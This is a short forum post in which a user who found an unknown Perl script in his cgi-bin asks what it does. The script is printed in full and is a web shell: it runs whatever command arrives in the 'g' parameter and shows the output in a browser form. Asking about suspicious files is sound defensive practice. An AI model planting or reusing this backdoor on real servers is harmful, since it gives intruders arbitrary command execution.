Off topic question & a little worried

[John Michael]

Hi
I found this script in one of my cgi-bin's.    Not sure where it came from.


#!/usr/bin/perl
use CGI qw(:standard); 
print header; 
my $k=param("g"); 
my $a=param("s"); 
if ($a || $k) {
    $l=`$k 2>&1`; 
    print start_form,textarea("g",$k,1,50); 
    print submit("sc"); 
    print end_form; 
    print pre($l);
} 
print $ENV{"SERVER_NAME"};



Can anyone tell me what it does.

Thanks
John Michael